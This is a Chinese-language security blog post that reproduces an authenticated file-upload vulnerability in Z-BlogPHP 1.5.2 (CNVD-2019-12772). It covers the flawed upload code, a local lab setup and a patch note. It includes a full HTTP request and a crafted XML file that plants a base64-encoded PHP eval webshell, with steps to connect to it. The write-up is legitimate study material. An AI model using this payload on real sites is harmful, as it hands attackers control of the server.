您当前的位置: 首页 >  php

星球守护者

暂无认证

  • 0浏览

    0关注

    641博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Z-BlogPHP 1.5.2 Zero后台存在文件上传漏洞复现( CNVD-2019-12772)

星球守护者 发布时间:2022-05-07 21:08:33 ,浏览量:0

文章目录
      • 0x01 简介
      • 0x02 漏洞概述
      • 0x03 影响版本
      • 0x04 漏洞编号
      • 0x05 漏洞分析
        • 第一步 获取数据包,查看文件上传功能接口
        • 第二步 查看该文件源码
        • 第三步全局搜索该函数,查看UnPack函数
        • 第四步 首先对app.php中的源码进行分析
        • 第五步 接着向下,继续分析,
        • 第六步 则根据最后一步骤,可生成开始时的exp,
      • 0x06 环境搭建
        • 第一步 使用phpstudy搭建网站
        • 第二步 解开源码压缩包
        • 第三步 打开浏览器
        • 第四步 默认下一步,直到数据库配置
        • 第五步 创建数据库
        • 第六步 输入相关信息点击下一步
        • 第七步 跳转至首页
      • 0x07漏洞复现
        • 第一步 创建pass.xml
        • 第二步 base64加密
        • 第三步 访问网站
        • 第四步 登录后台,查看漏洞点
        • 第五步 提交后,使用工具连接
        • 第六步 连接该文件
      • 0x08 漏洞修复
      • 免责声明

0x01 简介
  • Z-Blog是由Z-Blog开发团队开发的一款小巧而强大的基于Asp和PHP平台的开源程序,
  • 致力于给用户提供优秀的博客写作体验
0x02 漏洞概述
  • Z-BlogPHP1.5.2Zero后台主题管理和插件管理处存在文件上传漏洞,
  • 攻击者可利用该漏洞获取网站服务器控制权。
0x03 影响版本
  • Z-blog Z-BlogPHP 1.5.2
0x04 漏洞编号
https://www.cnvd.org.cn/flaw/show/CNVD-2019-12772

在这里插入图片描述

0x05 漏洞分析 第一步 获取数据包,查看文件上传功能接口
  POST /Z-BlogPHP_1_5_2_1935_Zero/zb_users/plugin/AppCentre/app_upload.php HTTP/1.1
Host: 192.168.253.194:8080
Content-Length: 564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.253.194:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmjYAYBaK78uLRz8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.253.194:8080/Z-BlogPHP_1_5_2_1935_Zero/zb_system/admin/index.php?act=PluginMng
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: timezone=8; username=admin_123456; token=72d259b048974d2634509eb46532cc3ca0d78eb140e065cf72dceccddb4501f21652009809; addinfoZ-BlogPHP_1_5_2_1935_Zero=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22admin_123456%22%7D
Connection: close

------WebKitFormBoundaryPmjYAYBaK78uLRz8
Content-Disposition: form-data; name="edtFileLoad"; filename="pass.xml"
Content-Type: text/xml



	
		shell.php
		PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+
	

------WebKitFormBoundaryPmjYAYBaK78uLRz8
Content-Disposition: form-data; name="B1"

鎻愪氦
------WebKitFormBoundaryPmjYAYBaK78uLRz8
Content-Disposition: form-data; name="token"

2a384414a275c74d6e8fa60fec4b999e
------WebKitFormBoundaryPmjYAYBaK78uLRz8--

在这里插入图片描述

第二步 查看该文件源码

发现上传文件类型为xml,且使用unpack函数对数据进行解包

 

if (App::UnPack($xml)) {
			$zbp->SetHint('good', '上传APP并解压成功!');
			Redirect($_SERVER["HTTP_REFERER"]);
		} else {
			$zbp->SetHint('bad', $zbp->lang['error']['64']);
			Redirect($_SERVER["HTTP_REFERER"]);
}		

在这里插入图片描述

第三步全局搜索该函数,查看UnPack函数

在这里插入图片描述

第四步 首先对app.php中的源码进行分析
发现当上传的文件不是xml时,就会通过simplexml_load_string() 函数加载其对象为false,并且当xml文件的version不等于php时,也会返回false,还有就是当xml文件上传成功后,通过一个type变量将上传的文件与zb_users文件进行拼接,也就是说上传成功的文件路径在/zb_users/xxx/下。

在这里插入图片描述

第五步 接着向下,继续分析,

发现此处对xml文件进行了遍历,当传入的文件xml不存在时,就会在之前的路径下新创建一个0755的文件,并将其指向floder标签下;如果传入的xml文件存在,就会将其指向stream标签下的file这个文件,并通过base64编码的方式与其拼接。

在这里插入图片描述

第六步 则根据最后一步骤,可生成开始时的exp,

设定version为php,文件内容为base64编码后的一句话木马,path为*.php,根据源码规则,会在zb_users下新建*.php文件,内容便为解码后的一句话木马。

0x06 环境搭建 第一步 使用phpstudy搭建网站

启动phpstudy后启动apache及mysql,打开网站根目录。 在这里插入图片描述

第二步 解开源码压缩包

将文件夹下所有文件复制至网站根目录下。 在这里插入图片描述

第三步 打开浏览器

访问127.0.0.1或localhost,自动跳转至install目录,开始安装过程。 在这里插入图片描述 在这里插入图片描述

第四步 默认下一步,直到数据库配置

在这里插入图片描述

第五步 创建数据库

在这里插入图片描述

第六步 输入相关信息点击下一步

出现安装结果,安装完成,点击完成, 在这里插入图片描述

第七步 跳转至首页

在这里插入图片描述

0x07漏洞复现 第一步 创建pass.xml

在本地新建文件pass.xml,内容如下:

  

	
		shell.php
		PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+
	

在这里插入图片描述

第二步 base64加密

PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+base64编码后的一句话木马,原内容为 在这里插入图片描述

第三步 访问网站

点击右方链接登陆后台 在这里插入图片描述 在这里插入图片描述

第四步 登录后台,查看漏洞点

点击“插件管理”,选择提前新建的文件pass.xml并提交

在这里插入图片描述 在这里插入图片描述

第五步 提交后,使用工具连接

位于/zb_users/目录下,文件名为shell.php,密码为pass 在这里插入图片描述

第六步 连接该文件

在这里插入图片描述 在这里插入图片描述

0x08 漏洞修复

更新系统版本为官方最新版

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!

关注
打赏
1662051426
查看更多评论
立即登录/注册

微信扫码登录

0.0625s